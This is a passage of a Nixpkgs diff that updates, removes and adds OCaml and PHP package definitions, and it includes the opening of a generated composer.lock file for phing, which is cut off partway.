b/pkgs/development/ocaml-modules/mirage-crypto/default.nix index 3c8b00285e972..74e9a455bebe6 100644 --- a/pkgs/development/ocaml-modules/mirage-crypto/default.nix +++ b/pkgs/development/ocaml-modules/mirage-crypto/default.nix @@ -8,11 +8,11 @@ buildDunePackage rec { duneVersion = "3"; pname = "mirage-crypto"; - version = "0.11.2"; + version = "0.11.3"; src = fetchurl { url = "https://github.com/mirage/mirage-crypto/releases/download/v${version}/mirage-crypto-${version}.tbz"; - sha256 = "sha256-1rl8t/DcNEpgJRPMAxN8Hn8K4QXQchYUYmz08jHt92Q="; + sha256 = "sha256-v7Uw+hac2QXrx+JEnzQHz71nAjrAspG4tvShQ3pdlbE="; }; doCheck = true; diff --git a/pkgs/development/ocaml-modules/mirage-fs/default.nix b/pkgs/development/ocaml-modules/mirage-fs/default.nix deleted file mode 100644 index f880a71d417c3..0000000000000 --- a/pkgs/development/ocaml-modules/mirage-fs/default.nix +++ /dev/null @@ -1,24 +0,0 @@ -{ lib, fetchurl, buildDunePackage -, cstruct, fmt, lwt, mirage-kv -}: - -buildDunePackage rec { - pname = "mirage-fs"; - version = "4.0.0"; - - duneVersion = "3"; - - src = fetchurl { - url = "https://github.com/mirage/mirage-fs/releases/download/v${version}/mirage-fs-v${version}.tbz"; - hash = "sha256-PYZ2HCPuxOv4FU7EHymsa1oIZU7q8TSzzRvlngYdZ3s="; - }; - - propagatedBuildInputs = [ cstruct fmt lwt mirage-kv ]; - - meta = { - description = "MirageOS signatures for filesystem devices"; - homepage = "https://github.com/mirage/mirage-fs"; - license = lib.licenses.isc; - maintainers = [ lib.maintainers.vbgl ]; - }; -} diff --git a/pkgs/development/ocaml-modules/mlgmpidl/default.nix b/pkgs/development/ocaml-modules/mlgmpidl/default.nix index 7952f811e7bef..c28a6fba99029 100644 --- a/pkgs/development/ocaml-modules/mlgmpidl/default.nix +++ b/pkgs/development/ocaml-modules/mlgmpidl/default.nix @@ -2,12 +2,12 @@ stdenv.mkDerivation rec { pname = "ocaml${ocaml.version}-mlgmpidl"; - version = "1.2.15"; + version = "1.3.0"; src = fetchFromGitHub { owner = "nberth"; repo = "mlgmpidl"; rev = version; - sha256 = "sha256-85wy5eVWb5qdaa2lLDcfqlUTIY7vnN3nGMdxoj5BslU="; + hash = "sha256-ZmSDKZiHko8MCeIuZL53HjupfwO6PAm8QOCc9O3xJOk="; }; nativeBuildInputs = [ perl ocaml findlib camlidl ]; @@ -17,18 +17,11 @@ stdenv.mkDerivation rec { strictDeps = true; prefixKey = "-prefix "; - configureFlags = [ - "--gmp-prefix ${gmp.dev}" - "--mpfr-prefix ${mpfr.dev}" - "-disable-profiling" - ]; postConfigure = '' - substituteInPlace Makefile --replace "/bin/rm" "rm" mkdir -p $out/lib/ocaml/${ocaml.version}/site-lib/stublibs ''; - meta = { description = "OCaml interface to the GMP library"; homepage = "https://www.inrialpes.fr/pop-art/people/bjeannet/mlxxxidl-forge/mlgmpidl/"; diff --git a/pkgs/development/ocaml-modules/ocaml-version/default.nix b/pkgs/development/ocaml-modules/ocaml-version/default.nix index 16f0242a9bf77..547c31cc9eab0 100644 --- a/pkgs/development/ocaml-modules/ocaml-version/default.nix +++ b/pkgs/development/ocaml-modules/ocaml-version/default.nix @@ -2,11 +2,11 @@ buildDunePackage rec { pname = "ocaml-version"; - version = "3.6.2"; + version = "3.6.4"; src = fetchurl { url = "https://github.com/ocurrent/ocaml-version/releases/download/v${version}/ocaml-version-${version}.tbz"; - hash = "sha256-XJ0xq71ZiR39phQIULXFDLHoj3HntxLI+v2gR0Bp/rI="; + hash = "sha256-JwvOv+Q4gevAnIl73l6juQc3t2c+5BAPjAxs/zIYctw="; }; checkInputs = [ alcotest ]; diff --git a/pkgs/development/ocaml-modules/odate/default.nix b/pkgs/development/ocaml-modules/odate/default.nix index a16fbc578d33d..89c47781a8fb8 100644 --- a/pkgs/development/ocaml-modules/odate/default.nix +++ b/pkgs/development/ocaml-modules/odate/default.nix @@ -4,7 +4,7 @@ buildDunePackage rec { pname = "odate"; - version = "0.6"; + version = "0.7"; minimalOCamlVersion = "4.07"; @@ -12,16 +12,11 @@ buildDunePackage rec { owner = "hhugo"; repo = pname; rev = version; - sha256 = "1dk33lr0g2jnia2gqsm6nnc7nf256qgkm3v30w477gm6y2ppfm3h"; + sha256 = "sha256-C11HpftrYOCVyWT31wrqo8FVZuP7mRUkRv5IDeAZ+To="; }; nativeBuildInputs = [ menhir ]; - # Ensure compatibility of v0.6 with menhir ≥ 20220210 - preBuild = '' - substituteInPlace dune-project --replace "(using menhir 1.0)" "(using menhir 2.0)" - ''; - meta = { description = "Date and duration in OCaml"; inherit (src.meta) homepage; diff --git a/pkgs/development/ocaml-modules/oseq/default.nix b/pkgs/development/ocaml-modules/oseq/default.nix index ee726be7130a6..02b3402757326 100644 --- a/pkgs/development/ocaml-modules/oseq/default.nix +++ b/pkgs/development/ocaml-modules/oseq/default.nix @@ -3,14 +3,14 @@ }: buildDunePackage rec { - version = "0.5"; + version = "0.5.1"; pname = "oseq"; src = fetchFromGitHub { owner = "c-cube"; repo = pname; rev = "v${version}"; - hash = "sha256-JMIcRyciNvLOE1Gpin7CpcDNSmGYFxZWsDN0X6D/NVI="; + hash = "sha256-fyr/OKlvvHBfovtdubSW4rd4OwQbMLKWXghyU3uBy/k="; }; minimalOCamlVersion = "4.08"; diff --git a/pkgs/development/ocaml-modules/qcheck/multicoretests-util.nix b/pkgs/development/ocaml-modules/qcheck/multicoretests-util.nix index ec3ba0b1dac11..84355d9160856 100644 --- a/pkgs/development/ocaml-modules/qcheck/multicoretests-util.nix +++ b/pkgs/development/ocaml-modules/qcheck/multicoretests-util.nix @@ -4,13 +4,13 @@ buildDunePackage rec { pname = "qcheck-multicoretests-util"; - version = "0.2"; + version = "0.3"; src = fetchFromGitHub { owner = "ocaml-multicore"; repo = "multicoretests"; rev = version; - hash = "sha256-U1ZqfWMwpAvbPq5yp2U9YTFklT4MypzTSfNvcKJfaYE="; + hash = "sha256-0fbMDksC23jojJV+aegBoSwKf1hNzDUvDEbo31HUDoM="; }; propagatedBuildInputs = [ qcheck-core ]; diff --git a/pkgs/development/ocaml-modules/srt/default.nix b/pkgs/development/ocaml-modules/srt/default.nix index 92431fcb3489b..d1e5ecd9ad555 100644 --- a/pkgs/development/ocaml-modules/srt/default.nix +++ b/pkgs/development/ocaml-modules/srt/default.nix @@ -2,6 +2,7 @@ , dune-configurator , posix-socket , srt +, ctypes-foreign }: buildDunePackage rec { @@ -9,7 +10,6 @@ buildDunePackage rec { version = "0.3.0"; minimalOCamlVersion = "4.08"; - duneVersion = "3"; src = fetchFromGitHub { owner = "savonet"; @@ -19,7 +19,7 @@ buildDunePackage rec { }; buildInputs = [ dune-configurator ]; - propagatedBuildInputs = [ posix-socket srt ]; + propagatedBuildInputs = [ ctypes-foreign posix-socket srt ]; meta = with lib; { description = "OCaml bindings for the libsrt library"; diff --git a/pkgs/development/ocaml-modules/tar/default.nix b/pkgs/development/ocaml-modules/tar/default.nix index 3a21fd21a0c3f..f0d8876fd41e2 100644 --- a/pkgs/development/ocaml-modules/tar/default.nix +++ b/pkgs/development/ocaml-modules/tar/default.nix @@ -8,10 +8,10 @@ buildDunePackage rec { pname = "tar"; - version = "2.5.1"; + version = "2.6.0"; src = fetchurl { url = "https://github.com/mirage/ocaml-tar/releases/download/v${version}/tar-${version}.tbz"; - hash = "sha256-00QPSIZnoFvhZEnDcdEDJUqhE0uKLxNMM2pUE8aMPfQ="; + hash = "sha256-yv8MtwRjQ+K/9/wPkhfk4xI1VV5MSIn7GUeSmFtvse4="; }; minimalOCamlVersion = "4.08"; diff --git a/pkgs/development/ocaml-modules/torch/default.nix b/pkgs/development/ocaml-modules/torch/default.nix index a22a9ea68ddc7..5acef0f2a72ca 100644 --- a/pkgs/development/ocaml-modules/torch/default.nix +++ b/pkgs/development/ocaml-modules/torch/default.nix @@ -5,6 +5,7 @@ , fetchpatch , cmdliner , ctypes +, ctypes-foreign , dune-configurator , npy , ocaml-compiler-libs @@ -42,6 +43,7 @@ buildDunePackage rec { propagatedBuildInputs = [ cmdliner ctypes + ctypes-foreign npy ocaml-compiler-libs ppx_custom_printf diff --git a/pkgs/development/ocaml-modules/tsdl/default.nix b/pkgs/development/ocaml-modules/tsdl/default.nix index 14c29f3daee0c..2d35f76d5bf0d 100644 --- a/pkgs/development/ocaml-modules/tsdl/default.nix +++ b/pkgs/development/ocaml-modules/tsdl/default.nix @@ -1,4 +1,4 @@ -{ lib, stdenv, fetchurl, ocaml, findlib, ocamlbuild, topkg, ctypes, result, SDL2, pkg-config +{ lib, stdenv, fetchurl, ocaml, findlib, ocamlbuild, topkg, ctypes, ctypes-foreign, result, SDL2, pkg-config , AudioToolbox, Cocoa, CoreAudio, CoreVideo, ForceFeedback }: if lib.versionOlder ocaml.version "4.03" @@ -24,7 +24,7 @@ stdenv.mkDerivation { nativeBuildInputs = [ pkg-config ocaml findlib ocamlbuild topkg ]; buildInputs = [ topkg ]; - propagatedBuildInputs = [ SDL2 ctypes ] + propagatedBuildInputs = [ SDL2 ctypes ctypes-foreign ] ++ lib.optionals stdenv.isDarwin [ AudioToolbox Cocoa CoreAudio CoreVideo ForceFeedback ]; preConfigure = '' diff --git a/pkgs/development/ocaml-modules/type_id/default.nix b/pkgs/development/ocaml-modules/type_id/default.nix new file mode 100644 index 0000000000000..6ecca71927aa7 --- /dev/null +++ b/pkgs/development/ocaml-modules/type_id/default.nix @@ -0,0 +1,38 @@ +{ lib +, buildDunePackage +, fetchurl +, alcotest +, type_eq +}: + +buildDunePackage rec { + pname = "type_id"; + version = "0.0.1"; + + minimalOCamlVersion = "4.08.1"; + + src = fetchurl { + url = "https://github.com/skolemlabs/${pname}/releases/download/${version}/${pname}-${version}.tbz"; + hash = "sha256-hmVAD9vgU1HLnB7d1TX17V+Alf5ZXmvQgd2nLHnLhDk="; + }; + + propagatedBuildInputs = [ + type_eq + ]; + + + checkInputs = [ + alcotest + ]; + + doCheck = true; + + meta = { + description = "Type identifiers, useful for runtime type-safe casting/coersions"; + homepage = "https://github.com/skolemlabs/type_id"; + changelog = "https://github.com/skolemlabs/type_id/blob/${version}/CHANGES.md"; + license = lib.licenses.mit; + maintainers = with lib.maintainers; [ sixstring982 ]; + }; +} + diff --git a/pkgs/development/ocaml-modules/vpl-core/default.nix b/pkgs/development/ocaml-modules/vpl-core/default.nix new file mode 100644 index 0000000000000..08f8eccacc6b0 --- /dev/null +++ b/pkgs/development/ocaml-modules/vpl-core/default.nix @@ -0,0 +1,31 @@ +{ lib +, fetchFromGitHub +, buildDunePackage +, zarith +}: + +buildDunePackage rec { + pname = "vpl-core"; + version = "0.5"; + + minimalOCamlVersion = "4.07"; + + src = fetchFromGitHub { + owner = "VERIMAG-Polyhedra"; + repo = "vpl"; + rev = version; + hash = "sha256-mSD/xSweeK9WMxWDdX/vzN96iXo74RkufjuNvtzsP9o="; + }; + + propagatedBuildInputs = [ + zarith + ]; + + meta = { + description = "Verified Polyhedra Library"; + homepage = "https://amarechal.gitlab.io/home/projects/vpl/"; + license = lib.licenses.lgpl3Only; + maintainers = [ lib.maintainers.vbgl ]; + }; + +} diff --git a/pkgs/development/ocaml-modules/xxhash/default.nix b/pkgs/development/ocaml-modules/xxhash/default.nix new file mode 100644 index 0000000000000..d8ef8f3d60eff --- /dev/null +++ b/pkgs/development/ocaml-modules/xxhash/default.nix @@ -0,0 +1,50 @@ +{ lib +, fetchFromGitHub +, buildDunePackage +, xxHash +, ctypes +, ctypes-foreign +, dune-configurator +, ppx_expect +}: + +buildDunePackage rec { + pname = "xxhash"; + version = "0.2"; + + minimalOCamlVersion = "4.08"; + + src = fetchFromGitHub { + owner = "314eter"; + repo = "ocaml-xxhash"; + rev = "refs/tags/v${version}"; + hash = "sha256-0+ac5EWV9DCVMT4wOcXC95GVEwsUIZzFn2laSzmK6jE="; + }; + + postPatch = '' + substituteInPlace stubs/dune --replace-warn 'ctypes))' 'ctypes ctypes.stubs))' + ''; + + buildInputs = [ + dune-configurator + ]; + + propagatedBuildInputs = [ + ctypes + ctypes-foreign + xxHash + ]; + + doCheck = true; + + checkInputs = [ + ppx_expect + ]; + + meta = { + homepage = "https://github.com/314eter/ocaml-xxhash"; + description = "Bindings for xxHash, an extremely fast hash algorithm"; + license = with lib.licenses; [ mit ]; + maintainers = with lib.maintainers; [ toastal ]; + }; +} diff --git a/pkgs/development/php-packages/castor/default.nix b/pkgs/development/php-packages/castor/default.nix index 70d07c1b8c700..241980e93d6f8 100644 --- a/pkgs/development/php-packages/castor/default.nix +++ b/pkgs/development/php-packages/castor/default.nix @@ -8,26 +8,25 @@ php.buildComposerProject (finalAttrs: { pname = "castor"; - version = "0.11.1"; + version = "0.13.1"; src = fetchFromGitHub { owner = "jolicode"; repo = "castor"; rev = "v${finalAttrs.version}"; - hash = "sha256-FqFCKvhOEtDERNRLB3613geEiNDOlQuLeCa5uVvoMdM="; + hash = "sha256-Sm6I306iKVr66sBp+ADeTZAKGToVMc+Y/BCymUdszNc="; }; - vendorHash = "sha256-+ORwa3+tkVJ9KU+9URg+1lyHoL1swxg6DG5ex8HjigE="; + vendorHash = "sha256-KbmovAnejShyVclF4IcZ9ckUOWysfEz3DFqE8OxlzI0="; nativeBuildInputs = [ installShellFiles ]; # install shell completions postInstall = '' - echo "yes" | ${php}/bin/php $out/share/php/castor/bin/castor installShellCompletion --cmd castor \ - --bash <(${php}/bin/php $out/share/php/castor/bin/castor completion bash) \ - --fish <(${php}/bin/php $out/share/php/castor/bin/castor completion fish) \ - --zsh <(${php}/bin/php $out/share/php/castor/bin/castor completion zsh) + --bash <($out/bin/castor completion bash) \ + --fish <($out/bin/castor completion fish) \ + --zsh <($out/bin/castor completion zsh) ''; passthru = { diff --git a/pkgs/development/php-packages/composer/default.nix b/pkgs/development/php-packages/composer/default.nix index 9cfc8683eca55..1f9a16b197bec 100644 --- a/pkgs/development/php-packages/composer/default.nix +++ b/pkgs/development/php-packages/composer/default.nix @@ -1,11 +1,22 @@ -{ lib, callPackage, fetchFromGitHub, php, unzip, _7zz, xz, git, curl, cacert, makeBinaryWrapper }: +{ lib +, callPackage +, fetchFromGitHub +, php +, unzip +, _7zz +, xz +, git +, curl +, cacert +, makeBinaryWrapper +}: php.buildComposerProject (finalAttrs: { # Hash used by ../../../build-support/php/pkgs/composer-phar.nix to # use together with the version from this package to keep the # bootstrap phar file up-to-date together with the end user composer # package. - passthru.pharHash = "sha256-cmACAcc8fEshjxwFEbNthTeWPjaq+iRHV/UjCfiFsxQ="; + passthru.pharHash = "sha256-H/0L4/J+I3sa5H+ejyn5asf1CgvZ7vT4jNvpTdBL//A="; composer = callPackage ../../../build-support/php/pkgs/composer-phar.nix { inherit (finalAttrs) version; @@ -13,13 +24,13 @@ php.buildComposerProject (finalAttrs: { }; pname = "composer"; - version = "2.6.6"; + version = "2.7.1"; src = fetchFromGitHub { owner = "composer"; repo = "composer"; rev = finalAttrs.version; - hash = "sha256-KsTZi7dSlQcAxoen9rpofbptVdLYhK+bZeDSXQY7o5M="; + hash = "sha256-OThWqY3m/pIas4qvR/kiYgc/2QrAbnsYEOxpHxKhDfM="; }; nativeBuildInputs = [ makeBinaryWrapper ]; @@ -29,7 +40,7 @@ php.buildComposerProject (finalAttrs: { --prefix PATH : ${lib.makeBinPath [ _7zz cacert curl git unzip xz ]} ''; - vendorHash = "sha256-50M1yeAKl9KRsjs34cdb5ZTBFgbukgg0cMtHTYGJ/EM="; + vendorHash = "sha256-NJa6nu60HQeBJr7dd79ATptjcekgY35Jq9V40SrN9Ds"; meta = { changelog = "https://github.com/composer/composer/releases/tag/${finalAttrs.version}"; diff --git a/pkgs/development/php-packages/deployer/default.nix b/pkgs/development/php-packages/deployer/default.nix index bd15bb7db8563..44a2e97f7ab7a 100644 --- a/pkgs/development/php-packages/deployer/default.nix +++ b/pkgs/development/php-packages/deployer/default.nix @@ -1,36 +1,26 @@ -{ mkDerivation, fetchurl, makeWrapper, installShellFiles, lib, php }: +{ lib +, fetchFromGitHub +, php +}: -mkDerivation rec { +php.buildComposerProject (finalAttrs: { pname = "deployer"; - version = "6.8.0"; + version = "7.3.3"; - src = fetchurl { - url = "https://deployer.org/releases/v${version}/${pname}.phar"; - sha256 = "09mxwfa7yszsiljbkxpsd4sghqngl08cn18v4g1fbsxp3ib3kxi5"; + src = fetchFromGitHub { + owner = "deployphp"; + repo = "deployer"; + rev = "v${finalAttrs.version}^"; + hash = "sha256-zvK7NwIACAhWN/7D8lVY1Bv8x6xKAp/L826SovQhDYg="; }; - dontUnpack = true; + vendorHash = "sha256-BDq2uryNWC31AEAEZJL9zGaAPbhXZ6hmfpsnr4wlixE="; - nativeBuildInputs = [ makeWrapper installShellFiles ]; - - installPhase = '' - runHook preInstall - mkdir -p $out/bin - install -D $src $out/libexec/deployer/deployer.phar - makeWrapper ${php}/bin/php $out/bin/dep --add-flags "$out/libexec/deployer/deployer.phar" - - # fish support currently broken: https://github.com/deployphp/deployer/issues/2527 - installShellCompletion --cmd dep \ - --bash <($out/bin/dep autocomplete --install) \ - --zsh <($out/bin/dep autocomplete --install) - runHook postInstall - ''; - - meta = with lib; { - description = "A deployment tool for PHP"; - license = licenses.mit; + meta = { + description = "The PHP deployment tool with support for popular frameworks out of the box"; homepage = "https://deployer.org/"; + license = lib.licenses.mit; mainProgram = "dep"; - maintainers = with maintainers; teams.php.members; + maintainers = lib.teams.php.members; }; -} +}) diff --git a/pkgs/development/php-packages/mailparse/default.nix b/pkgs/development/php-packages/mailparse/default.nix index b1eda79d915cd..c6d0975d7bcf2 100644 --- a/pkgs/development/php-packages/mailparse/default.nix +++ b/pkgs/development/php-packages/mailparse/default.nix @@ -3,8 +3,8 @@ buildPecl { pname = "mailparse"; - version = "3.1.4"; - sha256 = "sha256-FHSSGzLH7vglFE4r4ZsenUdQWtQJcpgz/VDCXqzflXc="; + version = "3.1.6"; + hash = "sha256-pp8WBVg+q9tZws1MFzNLMmc5ih1H4f1+25LYvvne4Ag="; internalDeps = [ php.extensions.mbstring ]; postConfigure = '' diff --git a/pkgs/development/php-packages/oci8/default.nix b/pkgs/development/php-packages/oci8/default.nix index 477eea5898e59..495d511f3aae2 100644 --- a/pkgs/development/php-packages/oci8/default.nix +++ b/pkgs/development/php-packages/oci8/default.nix @@ -4,9 +4,12 @@ let versionData = if (lib.versionOlder php.version "8.1") then { version = "3.0.1"; sha256 = "108ds92620dih5768z19hi0jxfa7wfg5hdvyyvpapir87c0ap914"; - } else { + } else if (lib.versionOlder php.version "8.2") then { version = "3.2.1"; - sha256 = "zyF703DzRZDBhlNFFt/dknmZ7layqhgjG1/ZDN+PEsg="; + sha256 = "sha256-zyF703DzRZDBhlNFFt/dknmZ7layqhgjG1/ZDN+PEsg="; + } else { + version = "3.3.0"; + sha256 = "sha256-0y5VnRKspJYE6xWeBcX2OG2pJTNbB+27GMywDv4gzwQ="; }; in buildPecl { diff --git a/pkgs/development/php-packages/phan/default.nix b/pkgs/development/php-packages/phan/default.nix index 82beda4ad00b7..e390389eef227 100644 --- a/pkgs/development/php-packages/phan/default.nix +++ b/pkgs/development/php-packages/phan/default.nix @@ -1,42 +1,30 @@ { lib +, fetchFromGitHub , php -, mkDerivation -, fetchurl -, makeWrapper }: -let - php' = php.withExtensions ({ enabled, all }: enabled ++ [ all.ast ]); -in -mkDerivation rec { + +(php.withExtensions({ enabled, all }: enabled ++ (with all; [ ast ]))).buildComposerProject (finalAttrs: { pname = "phan"; version = "5.4.3"; - src = fetchurl { - url = "https://github.com/phan/phan/releases/download/${version}/phan.phar"; - hash = "sha256-wZU6YIlH0q18iD044y6Z5gSscBn7cI0AwRwZgT/YhOo="; + src = fetchFromGitHub { + owner = "phan"; + repo = "phan"; + rev = finalAttrs.version; + hash = "sha256-O0dtnDsz6X99B99VbRQf3Wr/xJfsJqd+2l5Z5iWxHyU="; }; - dontUnpack = true; - - nativeBuildInputs = [ makeWrapper ]; - - installPhase = '' - runHook preInstall - mkdir -p $out/bin - install -D $src $out/libexec/phan/phan.phar - makeWrapper ${php'}/bin/php $out/bin/phan \ - --add-flags "$out/libexec/phan/phan.phar" - runHook postInstall - ''; + vendorHash = "sha256-yE85MBseJa0VGV5EbjT0te4QT3697YvtumGkMMfZtxI="; - meta = with lib; { + meta = { description = "Static analyzer for PHP"; + homepage = "https://github.com/phan/phan"; + license = lib.licenses.mit; longDescription = '' Phan is a static analyzer for PHP. Phan prefers to avoid false-positives and attempts to prove incorrectness rather than correctness. ''; - license = licenses.mit; - homepage = "https://github.com/phan/phan"; - maintainers = [ maintainers.apeschar ]; + mainProgram = "phan"; + maintainers = with lib.maintainers; [ apeschar ] ++ lib.teams.php.members; }; -} +}) diff --git a/pkgs/development/php-packages/phing/composer.lock b/pkgs/development/php-packages/phing/composer.lock new file mode 100644 index 0000000000000..6192f6283f9a8 --- /dev/null +++ b/pkgs/development/php-packages/phing/composer.lock @@ -0,0 +1,7486 @@ +{ + "_readme": [ + "This file locks the dependencies of your project to a known state", + "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", + "This file is @generated automatically" + ], + "content-hash": "7e86eda0b257a035484cd3adbe76b555", + "packages": [ + { + "name": "psr/container", + "version": "1.1.2", + "source": { + "type": "git", + "url": "https://github.com/php-fig/container.git", + "reference": "513e0666f7216c7459170d56df27dfcefe1689ea" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-fig/container/zipball/513e0666f7216c7459170d56df27dfcefe1689ea", + "reference": "513e0666f7216c7459170d56df27dfcefe1689ea", + "shasum": "" + }, + "require": { + "php": ">=7.4.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Psr\\Container\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "PHP-FIG", + "homepage": "https://www.php-fig.org/" + } + ], + "description": "Common Container Interface (PHP FIG PSR-11)", + "homepage": "https://github.com/php-fig/container", + "keywords": [ + "PSR-11", + "container", + "container-interface", + "container-interop", + "psr" + ], + "support": { + "issues": "https://github.com/php-fig/container/issues", + "source": "https://github.com/php-fig/container/tree/1.1.2" + }, + "time": "2021-11-05T16:50:12+00:00" + }, + { + "name": "sebastian/version", + "version": "3.0.2", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/version.git", + "reference": "c6c1022351a901512170118436c764e473f6de8c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/version/zipball/c6c1022351a901512170118436c764e473f6de8c", + "reference": "c6c1022351a901512170118436c764e473f6de8c", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library that helps with managing the version number of Git-hosted PHP projects", + "homepage": "https://github.com/sebastianbergmann/version", + "support": { + "issues": "https://github.com/sebastianbergmann/version/issues", + "source": "https://github.com/sebastianbergmann/version/tree/3.0.2" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-09-28T06:39:44+00:00" + }, + { + "name": "symfony/console", + "version": "v5.4.35", + "source": { + "type": "git", + "url": "https://github.com/symfony/console.git", + "reference": "dbdf6adcb88d5f83790e1efb57ef4074309d3931" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/console/zipball/dbdf6adcb88d5f83790e1efb57ef4074309d3931", + "reference": "dbdf6adcb88d5f83790e1efb57ef4074309d3931", + "shasum": "" + }, + "require": { + "php": ">=7.2.5", + "symfony/deprecation-contracts": "^2.1|^3", + "symfony/polyfill-mbstring": "~1.0", + "symfony/polyfill-php73": "^1.9", + "symfony/polyfill-php80": "^1.16", + "symfony/service-contracts": "^1.1|^2|^3", + "symfony/string": "^5.1|^6.0" + }, + "conflict": { + "psr/log": ">=3", + "symfony/dependency-injection": "<4.4", + "symfony/dotenv": "<5.1", + "symfony/event-dispatcher": "<4.4", + "symfony/lock": "<4.4", + "symfony/process": "<4.4" + }, + "provide": { + "psr/log-implementation": "1.0|2.0" + }, + "require-dev": { + "psr/log": "^1|^2", + "symfony/config": "^4.4|^5.0|^6.0", + "symfony/dependency-injection": "^4.4|^5.0|^6.0", + "symfony/event-dispatcher": "^4.4|^5.0|^6.0", + "symfony/lock": "^4.4|^5.0|^6.0", + "symfony/process": "^4.4|^5.0|^6.0", + "symfony/var-dumper": "^4.4|^5.0|^6.0" + }, + "suggest": { + "psr/log": "For using the console logger", + "symfony/event-dispatcher": "", + "symfony/lock": "", + "symfony/process": "" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Console\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Eases the creation of beautiful and testable command line interfaces", + "homepage": "https://symfony.com", + "keywords": [ + "cli", + "command-line", + "console", + "terminal" + ], + "support": { + "source": "https://github.com/symfony/console/tree/v5.4.35" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-23T14:28:09+00:00" + }, + { + "name": "symfony/deprecation-contracts", + "version": "v2.5.2", + "source": { + "type": "git", + "url": "https://github.com/symfony/deprecation-contracts.git", + "reference": "e8b495ea28c1d97b5e0c121748d6f9b53d075c66" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/e8b495ea28c1d97b5e0c121748d6f9b53d075c66", + "reference": "e8b495ea28c1d97b5e0c121748d6f9b53d075c66", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "2.5-dev" + }, + "thanks": { + "name": "symfony/contracts", + "url": "https://github.com/symfony/contracts" + } + }, + "autoload": { + "files": [ + "function.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "A generic function and convention to trigger deprecation notices", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/deprecation-contracts/tree/v2.5.2" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2022-01-02T09:53:40+00:00" + }, + { + "name": "symfony/polyfill-ctype", + "version": "v1.29.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-ctype.git", + "reference": "ef4d7e442ca910c4764bce785146269b30cb5fc4" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/ef4d7e442ca910c4764bce785146269b30cb5fc4", + "reference": "ef4d7e442ca910c4764bce785146269b30cb5fc4", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "provide": { + "ext-ctype": "*" + }, + "suggest": { + "ext-ctype": "For best performance" + }, + "type": "library", + "extra": { + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Ctype\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Gert de Pagter", + "email": "BackEndTea@gmail.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for ctype functions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "ctype", + "polyfill", + "portable" + ], + "support": { + "source": "https://github.com/symfony/polyfill-ctype/tree/v1.29.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-29T20:11:03+00:00" + }, + { + "name": "symfony/polyfill-intl-grapheme", + "version": "v1.29.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-intl-grapheme.git", + "reference": "32a9da87d7b3245e09ac426c83d334ae9f06f80f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/32a9da87d7b3245e09ac426c83d334ae9f06f80f", + "reference": "32a9da87d7b3245e09ac426c83d334ae9f06f80f", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "suggest": { + "ext-intl": "For best performance" + }, + "type": "library", + "extra": { + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Intl\\Grapheme\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill for intl's 